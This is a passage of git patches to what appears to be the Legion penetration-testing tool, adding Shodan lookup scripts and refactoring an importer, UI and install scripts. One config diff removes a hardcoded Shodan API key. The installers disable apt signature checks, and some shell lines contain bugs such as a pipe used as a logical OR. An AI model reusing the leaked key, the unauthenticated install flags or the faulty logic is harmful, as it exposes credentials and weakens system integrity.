nil + elseif (response.status ~= 200) then + stdnse.debug1("Bad response from Shodan for IP %s : %s", target, response.status) + return nil + end + + local stat, resp = json.parse(response.body) + if not stat then + stdnse.debug1("Error parsing Shodan response: %s", resp) + return nil + end + + return resp +end + +local function format_output(resp) + if resp.error then + return resp.error + end + + if resp.data then + registry.count = registry.count + 1 + local out = { hostnames = resp.hostnames, ports = {} } + local ports = out.ports + local tab_out = tab.new() + tab.addrow(tab_out, "PORT", "PROTO", "PRODUCT", "VERSION") + + for key, e in ipairs(resp.data) do + ports[#ports+1] = { + number = e.port, + protocol = e.transport, + product = e.product, + version = e.version, + } + tab.addrow(tab_out, e.port, e.transport, e.product or "", e.version or "") + end + return out, tab.dump(tab_out) + else + return "Unable to query data" + end +end + +prerule = function () + if (outFile ~= nil) then + local file = io.open(outFile, "w") + io.output(file) + io.write("IP,Port,Proto,Product,Version\n") + end + + if registry.apiKey == "" then + registry.apiKey = nil + end + + if not registry.apiKey then + stdnse.verbose1("Error: Please specify your ShodanAPI key with the %s.apikey argument", SCRIPT_NAME) + return false + end + + local response = http.get("api.shodan.io", 443, "/api-info?key=" .. registry.apiKey, {any_af=true}) + if (response.status ~= 200) then + stdnse.verbose1("Error: Your ShodanAPI key (%s) is invalid", registry.apiKey) + -- Prevent further stages from running + registry.apiKey = nil + return false + end + + if arg_target then + local is_ip, err = ipOps.expand_ip(arg_target) + if not is_ip then + stdnse.verbose1("Error: %s.target must be an IP address", SCRIPT_NAME) + return false + end + return true + end +end + +generic_action = function(ip) + local resp = lookup_target(ip) + if not resp then return nil end + local out, tabular = format_output(resp) + if type(out) == "string" then + -- some kind of error + return out + end + local result = string.format( + "Report for %s (%s)\n%s", + ip, + table.concat(out.hostnames, ", "), + tabular + ) + if (outFile ~= nil) then + for _, port in ipairs(out.ports) do + io.write( string.format("%s,%s,%s,%s,%s\n", + ip, port.number, port.protocol, port.product or "", port.version or "") + ) + end + end + return out, result +end + +preaction = function() + return generic_action(arg_target) +end + +hostrule = function(host) + return registry.apiKey and not ipOps.isPrivate(host.ip) +end + +hostaction = function(host) + return generic_action(host.ip) +end + +postrule = function () + return registry.apiKey +end + +postaction = function () + local out = { "Shodan done: ", registry.count, " hosts up." } + if outFile then + io.close() + out[#out+1] = "\nWrote Shodan output to: " + out[#out+1] = outFile + end + return table.concat(out) +end + +local ActionsTable = { + -- prerule: scan target from script-args + prerule = preaction, + -- hostrule: look up a host in Shodan + hostrule = hostaction, + -- postrule: report results + postrule = postaction +} + +-- execute the action function corresponding to the current rule +action = function(...) return ActionsTable[SCRIPT_TYPE](...) end diff --git a/scripts/nmap/shodan-hq.nse b/scripts/nmap/shodan-hq.nse new file mode 100644 index 00000000..c11eddb7 --- /dev/null +++ b/scripts/nmap/shodan-hq.nse @@ -0,0 +1,135 @@ +local http = require "http" +local io = require "io" +local json = require "json" +local stdnse = require "stdnse" +local openssl = stdnse.silent_require "openssl" + + +-- Set your Shodan API key here to avoid typing it in every time: +local apiKey = "" + +author = "Glenn Wilkinson <@glennzw> (idea: Charl van der Walt <@charlvdwalt> )" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"discovery", "safe"} +url = "https://github.com/glennzw/shodan-hq-nse" + +description = [[ +Queries Shodan API for given targets and produces similar output to +a -sV nmap scan. The ShodanAPI key can be set with the 'apikey' script +argument, or hardcoded in the .nse file itself. + +N.B if you want this script to run completely passively make sure to +include the -sn -Pn -n flags. + +Example usage: + +nmap --script shodan-hq.nse x.y.z.0/24 -sn -Pn -n --script-args 'outfile=potato.csv,apikey=SHODANAPIKEY' + + +You can also specify a single target with a script argument: + +nmap --script shodan-hq.nse --script-args 'target=x.y.z.a' + +Contact: [glenn|charl]@sensepost.com +Code : https://github.com/glennzw/shodan-hq-nse +]] + +--- +-- @output +-- | +-- | PORT STATE SERVICE VERSION +-- | 80/tcp open Apache httpd +-- | 3306/tcp open MySQL 5.5.40-0+wheezy1 +-- | 22/tcp open OpenSSH 6.0p1 Debian 4+deb7u2 +-- +--@args outfile Write the results to the specified CSV file +--@args apiKey Specify the ShodanAPI key. This can also be hardcoded in the nse file. +--@args target Specify a single target to be scanned. + +-- ToDo: * Have an option to compliment non banner scans with shodan data (e.g. -sS scan, but +-- grab service info from Shodan +-- * Have script arg to include extra host info. e.g. Coutry/city of IP, datetime of +-- scan, verbose port output (e.g. smb share info) +-- * Warn user if they haven't set -sn -Pn and -n (and will therefore actually scan the host +-- * Accept IP ranges via the script argument 'target' parameter + + +-- Begin +local scriptApiKey = stdnse.get_script_args("apikey") +if (scriptApiKey ~= nil) then apiKey = scriptApiKey end +local outFile = stdnse.get_script_args("outfile") +local target = stdnse.get_script_args("target") + +function ts(v) + if v == nil then return "" end + return v +end + +hostrule = function() return true end + + +prerule = function () + if (outFile ~= nil) then + file = io.open(outFile, "w") io.output(file) io.write("IP, Port, Service\n") + end + + if (apiKey == "") then + print("\nError: Please specify your ShodanAPI key with --script-args='apikey=', or set it in the .nse file. You can get a free key from https://developer.shodan.io\n") + end + if (target ~= nil) then + print("Scanning single host ".. target) + return true + end +end + +postrule = function () + nmap.registry.count = (nmap.registry.count or 0) + print("+ Shodan done: " .. nmap.registry.count .. " hosts up.") + if (outFile ~= nil) then io.close() print ("+ Wrote Shodan output to '" .. outFile .. "'\n") end +end + +action = function(host) + if (apiKey == "") then return nil end + + if (target == nil) then target=host.ip end + + local response = http.get("api.shodan.io", 443, "/shodan/host/".. target .."?key=" .. apiKey) + if (response.status == 401) then + return "Received 'Unauthorized' from Shodan API. Double check your API key." + elseif (response.status == 404) then + return "No information for IP " .. target + elseif (response.status ~= 200) then + return "Bad response from Shodan for IP " .. target .. " : " .. response.status + end + + local stat, resp = json.parse(response.body) + if (resp.error ~= nil) then + return resp.error + end + + if (resp.data ~= nil) then + nmap.registry.count = (nmap.registry.count or 0) + 1 + hostnames = "" + for k, h in pairs(resp.hostnames) + do + hostnames = h .. " " .. hostnames + end + local result = "Report for " .. target + if (string.len(hostnames) > 0) + then + result = result .. " (" .. hostnames .. ")" + end + result = result .. "\n\nPORT\t\tSTATE\tSERVICE\tVERSION\n" + for key,e in ipairs(resp.data) + do + result = result .. ts(e.port) .. "/" .. ts(e.transport) .. "\topen" .. ts(e.service) .. "\t" .. ts(e.product) .. "\t" .. ts(e.version) .. "\n" + if (outFile ~= nil) then + out = target .. ", " .. ts(e.port) .. ", " .. ts(e.service) .. " " .. ts(e.product) .. "\n" + io.write(out) + end + end + return result + else + return "Unable to query data for IP " .. target + end +end diff --git a/ui/view.py b/ui/view.py index 504ff77a..25dfbd69 100644 --- a/ui/view.py +++ b/ui/view.py @@ -632,25 +632,12 @@ def rightTableDoubleClick(self, signal): index = signal.sibling(row, 0) index_dict = model.itemData(index) index_value = index_dict.get(0) - print( - 'Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}'.format(row, column, cell_value, index_value)) - df=pd.DataFrame([cell_value]) - df.to_clipboard(index=False,header=False) - - #def rightTableDoubleClick(self): - # tab = self.ui.ServicesTabWidget.tabText(self.ui.ServicesTabWidget.currentIndex()) - # print(tab) - # - # if tab == 'CVEs': - # row = self.ui.CvesTableView.selectionModel().selectedRows()[len(self.ui.CvesTableView.selectionModel().selectedRows())-1].row() - # selectedRowData = self.CvesTableModel.getCveForRow(row) - # print(row) - # print(selectedRowData) - # column = self.ui.CvesTableView.selectionModel().selectedColumns()[len(self.ui.CvesTableView.selectionModel().selectedRows())-1].column() - # print(column) - # - # else: - # return + log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}'.format(row, column, cell_value, index_value)) + + ## Does not work under WSL! + df = pd.DataFrame([cell_value]) + df.to_clipboard(index = False, header = False) + def tableDoubleClick(self): tab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) @@ -1073,7 +1060,7 @@ def updateInformationView(self, hostIP): else: counterFiltered = 65535 - counterOpen - counterClosed - self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.os_match, osAccuracy=host.os_accuracy) + self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] @@ -1103,7 +1090,6 @@ def updateScriptsView(self, hostIP): def updateCvesByHostView(self, hostIP): headers = ["ID", "CVSS Score", "Product", "Version", "URL", "Source", "Exploit ID", "Exploit", "Exploit URL"] cves = self.controller.getCvesFromDB(hostIP) - print("CVES: {0}".format(str(cves))) self.CvesTableModel = CvesTableModel(self, cves, headers) self.ui.CvesTableView.horizontalHeader().resizeSection(0,175) @@ -1286,17 +1272,17 @@ def updateInterface(self): # this function creates a new tool tab for a given host # TODO: refactor/review, especially the restoring part. we should not check if toolname=nmap everywhere in the code # ..maybe we should do it here. rethink - def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filename=''): + def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filename=''): - if 'screenshot' in str(tabtitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + if 'screenshot' in str(tabTitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. tempWidget = ImageViewer() - tempWidget.setObjectName(str(tabtitle)) + tempWidget.setObjectName(str(tabTitle)) tempWidget.open(str(filename)) tempTextView = tempWidget.scrollArea - tempTextView.setObjectName(str(tabtitle)) + tempTextView.setObjectName(str(tabTitle)) else: tempWidget = QtWidgets.QWidget() - tempWidget.setObjectName(str(tabtitle)) + tempWidget.setObjectName(str(tabTitle)) tempTextView = QtWidgets.QPlainTextEdit(tempWidget) tempTextView.setReadOnly(True) if self.controller.getSettings().general_tool_output_black_background == 'True': @@ -1312,13 +1298,13 @@ def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filenam tempTextView.appendPlainText(content) if restoring == False: # if restoring tabs (after opening a project) don't show the tab in the ui - tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabtitle)) + tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) hosttabs = [] # fetch tab list for this host (if any) if str(ip) in self.hostTabs: hosttabs = self.hostTabs[str(ip)] - if 'screenshot' in str(tabtitle): + if 'screenshot' in str(tabTitle): hosttabs.append(tempWidget.scrollArea) # add the new tab to the list else: hosttabs.append(tempWidget) # add the new tab to the list @@ -1328,10 +1314,10 @@ def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filenam return tempTextView - def createNewConsole(self, tabtitle, content='Hello\n', filename=''): + def createNewConsole(self, tabTitle, content='Hello\n', filename=''): tempWidget = QtWidgets.QWidget() - tempWidget.setObjectName(str(tabtitle)) + tempWidget.setObjectName(str(tabTitle)) tempTextView = QtWidgets.QPlainTextEdit(tempWidget) tempTextView.setReadOnly(True) if self.controller.getSettings().general_tool_output_black_background == 'True': @@ -1414,13 +1400,13 @@ def restoreToolTabs(self): self.tick.emit(int(totalprogress)) for t in tools: - if not t.tabtitle == '': - if 'screenshot' in str(t.tabtitle): - imageviewer = self.createNewTabForHost(t.hostip, t.tabtitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) - imageviewer.setObjectName(str(t.tabtitle)) + if not t.tabTitle == '': + if 'screenshot' in str(t.tabTitle): + imageviewer = self.createNewTabForHost(t.hostIp, t.tabTitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) + imageviewer.setObjectName(str(t.tabTitle)) imageviewer.setProperty('dbId', str(t.id)) else: - self.createNewTabForHost(t.hostip, t.tabtitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process + self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process totalprogress += progress # update the progress bar self.tick.emit(int(totalprogress)) @@ -1495,7 +1481,7 @@ def resetBruteTabs(self): self.ui.BruteTabWidget.removeTab(count -i -1) self.createNewBruteTab('127.0.0.1', '22', 'ssh') - # TODO: show udp in tabtitle when udp service + # TODO: show udp in tabTitle when udp service def callHydra(self, bWidget): if validateNmapInput(bWidget.ipTextinput.text()) and validateNmapInput(bWidget.portTextinput.text()) and validateCredentials(bWidget.usersTextinput.text()) and validateCredentials(bWidget.passwordsTextinput.text()): # check if host is already in scope From 912934e9abd8795b24426e9ca36b2b49ca187229 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 6 May 2019 07:45:50 -0500 Subject: [PATCH 232/450] Fix deps --- controller/controller.py | 2 +- requirements.txt | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/controller/controller.py b/controller/controller.py index 3ba0e689..826519fb 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1557145534' + self.build = '1557146732' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/requirements.txt b/requirements.txt index 5ef51ed0..dbedc853 100644 --- a/requirements.txt +++ b/requirements.txt @@ -15,3 +15,5 @@ colorama termcolor win_inet_pton pyExploitDb>=0.1.8 +GitPython +pandas From 6e749fd1a37c257b3ad9f6c6f8683e60edbcdc1f Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 6 May 2019 16:02:43 -0500 Subject: [PATCH 233/450] PyShodan Script added, PythonScript importer added, Label fixes, Bug fixes --- app/hostmodels.py | 4 +++- app/logic.py | 33 +++++++++++++++++---------------- controller/controller.py | 38 +++++++++++++++++++++++++++----------- db/database.py | 8 ++++++++ deps/installDeps.sh | 8 +++++++- deps/installPythonLibs.sh | 2 ++ deps/primeExploitDb.py | 9 +++++++++ deps/setupWsl.sh | 17 ++++++++++++++--- legion.conf | 4 ++-- parsers/CVE.py | 18 +++++++++--------- parsers/Script.py | 2 +- scripts/python/__init__.py | 0 scripts/python/dummy.py | 5 +++++ scripts/python/pyShodan.py | 31 +++++++++++++++++++++++++++++++ ui/dialogs.py | 22 ++++++++++++++++++++++ ui/view.py | 26 +++++++++++++++++--------- 16 files changed, 174 insertions(+), 53 deletions(-) create mode 100644 deps/primeExploitDb.py create mode 100644 scripts/python/__init__.py create mode 100644 scripts/python/dummy.py create mode 100644 scripts/python/pyShodan.py diff --git a/app/hostmodels.py b/app/hostmodels.py index 5146dfa7..84d4ad63 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -41,7 +41,7 @@ def headerData(self, section, orientation, role): if section < len(self.__headers): return self.__headers[section] else: - return "!not implemented" + return "not implemented in view model" def data(self, index, role): # this method takes care of how the information is displayed if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text @@ -108,6 +108,8 @@ def data(self, index, role): # this metho value = self.__hosts[row]['state'] elif column == 15: value = self.__hosts[row]['count'] + else: + value = 'Not set in view model' return value if role == QtCore.Qt.FontRole: diff --git a/app/logic.py b/app/logic.py index da15eb58..a2606cd6 100644 --- a/app/logic.py +++ b/app/logic.py @@ -19,6 +19,8 @@ from app.auxiliary import * from ui.ancillaryDialog import * from six import u as unicode +from pyShodan import PyShodan +from scripts.python import pyShodan class Logic(): def __init__(self): @@ -562,7 +564,7 @@ def isCanceledProcess(self, procId): return True return False -class ShodanImporter(QtCore.QThread): +class PythonImporter(QtCore.QThread): tick = QtCore.pyqtSignal(int, name="changed") # New style signal done = QtCore.pyqtSignal(name="done") # New style signal schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal @@ -571,6 +573,9 @@ class ShodanImporter(QtCore.QThread): def __init__(self): QtCore.QThread.__init__(self, parent=None) self.output = '' + self.hostIp = '' + self.pythonScriptDispatch = {'pyShodan': pyShodan.PyShodanScript()} + self.pythonScriptObj = None self.importProgressWidget = ProgressWidget('Importing shodan data..') def tsLog(self, msg): @@ -579,8 +584,11 @@ def tsLog(self, msg): def setDB(self, db): self.db = db - def setFilename(self, filename): - self.filename = filename + def setHostIp(self, hostIp): + self.hostIp = hostIp + + def setPythonScript(self, pythonScript): + self.pythonScriptObj = self.pythonScriptDispatch[pythonScript] def setOutput(self, output): self.output = output @@ -590,22 +598,15 @@ def run(self): # it is nece session = self.db.session() startTime = time() self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB - - for h in parser.getAllHosts(): # create all the hosts that need to be created - db_host = session.query(hostObj).filter_by(ip=h.ip).first() - - if not db_host: # if host doesn't exist in DB, create it first - hid = hostObj(osMatch='', osAccuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, \ - lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) - self.tsLog("Adding db_host") - session.add(hid) - else: - self.tsLog("Found db_host already in db") + #self.setPythonScript(self.pythonScript) + db_host = session.query(hostObj).filter_by(ip = self.hostIp).first() + self.pythonScriptObj.setDbHost(db_host) + self.pythonScriptObj.setSession(session) + self.pythonScriptObj.run() session.commit() self.db.dbsemaphore.release() # we are done with the DB - self.tsLog('Finished in '+ str(time()-startTime) + ' seconds.') + self.tsLog('Finished in ' + str(time() - startTime) + ' seconds.') self.done.emit() - self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) except Exception as e: self.tsLog(e) diff --git a/controller/controller.py b/controller/controller.py index 826519fb..b136419a 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1557146732' + self.build = '1557176518' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] @@ -49,7 +49,7 @@ def __init__(self, view, logic): self.loadSettings() # creation of context menu actions from settings file and set up of various settings self.initNmapImporter() - self.initShodanImporter() + self.initPythonImporter() self.initScreenshooter() self.initBrowserOpener() self.start() # initialisations (globals, etc) @@ -64,7 +64,7 @@ def start(self, title='*untitled'): self.fastProcessesRunning = 0 # counts the number of fast processes currently running self.slowProcessesRunning = 0 # counts the number of slow processes currently running self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use - self.shodanImporter.setDB(self.logic.db) + self.pythonImporter.setDB(self.logic.db) self.updateOutputFolder() # tell screenshooter where the output folder is self.view.start(title) @@ -74,11 +74,11 @@ def initNmapImporter(self): self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) - def initShodanImporter(self): - self.shodanImporter = ShodanImporter() - self.shodanImporter.done.connect(self.importFinished) - self.shodanImporter.schedule.connect(self.scheduler) # run automated attacks - self.shodanImporter.log.connect(self.view.ui.LogOutputTextView.append) + def initPythonImporter(self): + self.pythonImporter = PythonImporter() + self.pythonImporter.done.connect(self.importFinished) + self.pythonImporter.schedule.connect(self.scheduler) # run automated attacks + self.pythonImporter.log.connect(self.view.ui.LogOutputTextView.append) def initScreenshooter(self): self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) # screenshot taker object (different thread) @@ -316,6 +316,8 @@ def handleHostAction(self, ip, hostid, actions, action): if 'nmap' in name: # to make sure different nmap scans appear under the same tool name name = 'nmap' invisibleTab = True + elif 'python-script' in name: + invisibleTab = True # remove all chars that are not alphanumeric from tool name (used in the outputfile's name) outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(name))+"/"+getTimestamp()+"-"+re.sub("[^0-9a-zA-Z]", "", str(self.settings.hostActions[i][1]))+"-"+ip command = str(self.settings.hostActions[i][2]) @@ -388,6 +390,8 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): if 'nmap' in tabTitle: # we don't want to show nmap tabs restoring = True + elif 'python-script' in tabTitle: # we don't want to show nmap tabs + restoring = True self.runCommand(tool, tabTitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip[0], tabTitle, restoring)) break @@ -466,7 +470,7 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr self.view.updateProcessesTableView() return - if action.text() == 'Clear': # hide all the processes that are not running + if action.text() == 'Clear': # h.ide all the processes that are not running self.logic.toggleProcessDisplayStatus() self.view.updateProcessesTableView() @@ -723,6 +727,8 @@ def processCrashed(self, proc): self.logic.storeProcessCrashStatusInDB(str(proc.id)) log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") + #self.view.closeHostToolTab(self, index)) + self.view.findFinishedServiceTab(str(self.logic.getPidForProcess(str(proc.id)))) log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) # this function handles everything after a process ends @@ -732,13 +738,21 @@ def processFinished(self, qProcess): if not self.logic.isKilledProcess(str(qProcess.id)): # if process was not killed if not qProcess.outputfile == '': self.logic.moveToolOutput(qProcess.outputfile) # move tool output from runningfolder to output folder if there was an output file - - if 'nmap' in qProcess.name: # if the process was nmap, use the parser to store it + print(qProcess.command) + if 'nmap' in qProcess.command : # if the process was nmap, use the parser to store it if qProcess.exitCode() == 0: # if the process finished successfully newoutputfile = qProcess.outputfile.replace(self.logic.runningfolder, self.logic.outputfolder) self.nmapImporter.setFilename(str(newoutputfile)+'.xml') self.nmapImporter.setOutput(str(qProcess.display.toPlainText())) self.nmapImporter.start() + elif 'PythonScript' in qProcess.command: + pythonScript = str(qProcess.command).split(' ')[2] + print('PythonImporter running for script: {0}'.format(pythonScript)) + if qProcess.exitCode() == 0: # if the process finished successfully + self.pythonImporter.setOutput(str(qProcess.display.toPlainText())) + self.pythonImporter.setHostIp(str(qProcess.hostIp)) + self.pythonImporter.setPythonScript(pythonScript) + self.pythonImporter.start() exitCode = qProcess.exitCode() if exitCode != 0 and exitCode != 255: log.info("Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) @@ -814,6 +828,8 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): if 'nmap' in tabTitle: # we don't want to show nmap tabs restoring = True + elif 'python-script' in tabTitle: + restoring = True tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) self.runCommand(tool[0], tabTitle, ip, port, protocol, command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, not (tab == 'Hosts'))) diff --git a/db/database.py b/db/database.py index 08e7b438..93901cfc 100644 --- a/db/database.py +++ b/db/database.py @@ -284,6 +284,14 @@ def __init__(self, **kwargs): self.distance = kwargs.get('distance') or 'unknown' self.state = kwargs.get('state') or 'unknown' self.count = kwargs.get('count') or 'unknown' + self.city = kwargs.get('city') or 'unknown' + self.countryCode = kwargs.get('countryCode') or 'unknown' + self.postalCode = kwargs.get('postalCode') or 'unknown' + self.longitude = kwargs.get('longitude') or 'unknown' + self.latitude = kwargs.get('latitude') or 'unknown' + self.isp = kwargs.get('isp') or 'unknown' + self.asn = kwargs.get('asn') or 'unknown' + class note(Base): diff --git a/deps/installDeps.sh b/deps/installDeps.sh index f87b322b..e63259fd 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,10 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan git xsltproc +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc + +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" dnsmap +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" wapiti +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" python-impacket +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" whatweb +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" medusa diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 90e91797..059c7afe 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -5,3 +5,5 @@ source ./deps/detectPython.sh # Setup Python deps ${PIP3BIN} install -r requirements.txt --upgrade ${PIP3BIN} install service-identity --upgrade + +${PIP3BIN} ./deps/primeExploitDb.py diff --git a/deps/primeExploitDb.py b/deps/primeExploitDb.py new file mode 100644 index 00000000..202289af --- /dev/null +++ b/deps/primeExploitDb.py @@ -0,0 +1,9 @@ +from pyExploitDb import PyExploitDb + +def prime(): + pEdb = PyExploitDb() + pEdb.debug = False + pEdb.openFile() + +if __name__ == "__main__": + prime() diff --git a/deps/setupWsl.sh b/deps/setupWsl.sh index 3dabfa48..1d35be0d 100644 --- a/deps/setupWsl.sh +++ b/deps/setupWsl.sh @@ -1,13 +1,24 @@ #!/bin/bash # Setup linked Windows NMAP -if [ ! -f "/sbin/nmap" ] +if [ -f "/usr/bin/nmap" ] +then + nmapBinCheck=$(cat /usr/bin/nmap | grep -c "nmap.exe") +else + nmapBinCheck=1 +fi + +if [ ! -f "/sbin/nmap" ] | [ ${nmapBinCheck} -eq 0 ] then echo "Installing Link to Windows NMAP..." - mv /usr/bin/nmap /usr/bin/nmap_lin + today=$(date +%s) + mv /usr/bin/nmap /usr/bin/nmap_lin_${today} cp ./deps/nmap-wsl.sh /sbin/nmap chmod a+x /sbin/nmap - ln -s /sbin/nmap /usr/bin/nmap + if [ ! -f "/sbin/nmap" ] + then + ln -s /sbin/nmap /usr/bin/nmap + fi else echo "Link to Windows NMAP already exists; skipping." fi diff --git a/legion.conf b/legion.conf index bff5e3b1..b6f58bad 100644 --- a/legion.conf +++ b/legion.conf @@ -29,8 +29,8 @@ nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUT nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Shodan=Run nmap script - Shodan, "nmap -sn -Pn -n --script=./scripts/nmap/shodan-api.nse --script-args shodan-api.apikey=SNYEkE0gdwNu9BRURVDjWPXePCquXqht [IP] -vvvv -oA [OUTPUT]" -nmap-script-Shodan-HQ=Run nmap script - Shodan HQ, "nmap -sn -Pn -n --script=./scripts/nmap/shodan-hq.nse --script-args apikey=SNYEkE0gdwNu9BRURVDjWPXePCquXqht [IP] -vvvv -oA [OUTPUT]" +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-CrashMe=Run CrashMe python scripy, python3 ./scripts/python/dummy.py nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v diff --git a/parsers/CVE.py b/parsers/CVE.py index 41736923..c4a3833d 100644 --- a/parsers/CVE.py +++ b/parsers/CVE.py @@ -15,12 +15,12 @@ class CVE: exploitUrl = '' def __init__(self, cveData): - self.name = cveData['id'] - self.product = cveData['product'] - self.version = cveData['version'] - self.url = cveData['url'] - self.source = cveData['source'] - self.severity = cveData['severity'] - self.exploitId = cveData['exploitId'] - self.exploit = cveData['exploit'] - self.exploitUrl = cveData['exploitUrl'] + self.name = cveData.get('id', 'unknown') + self.product = cveData.get('product', 'unknown') + self.version = cveData.get('version', 'unknown') + self.url = cveData.get('url', 'unknown') + self.source = cveData.get('source', 'unknown') + self.severity = cveData.get('severity', 'unknown') + self.exploitId = cveData.get('exploitId', 'unknown') + self.exploit = cveData.get('exploit', 'unknown') + self.exploitUrl = cveData.get('exploitUrl', 'unknown') diff --git a/parsers/Script.py b/parsers/Script.py index 76e48ec4..2de8df51 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -81,7 +81,7 @@ def processVulnersScriptOutput(self, vulnersOutput): if 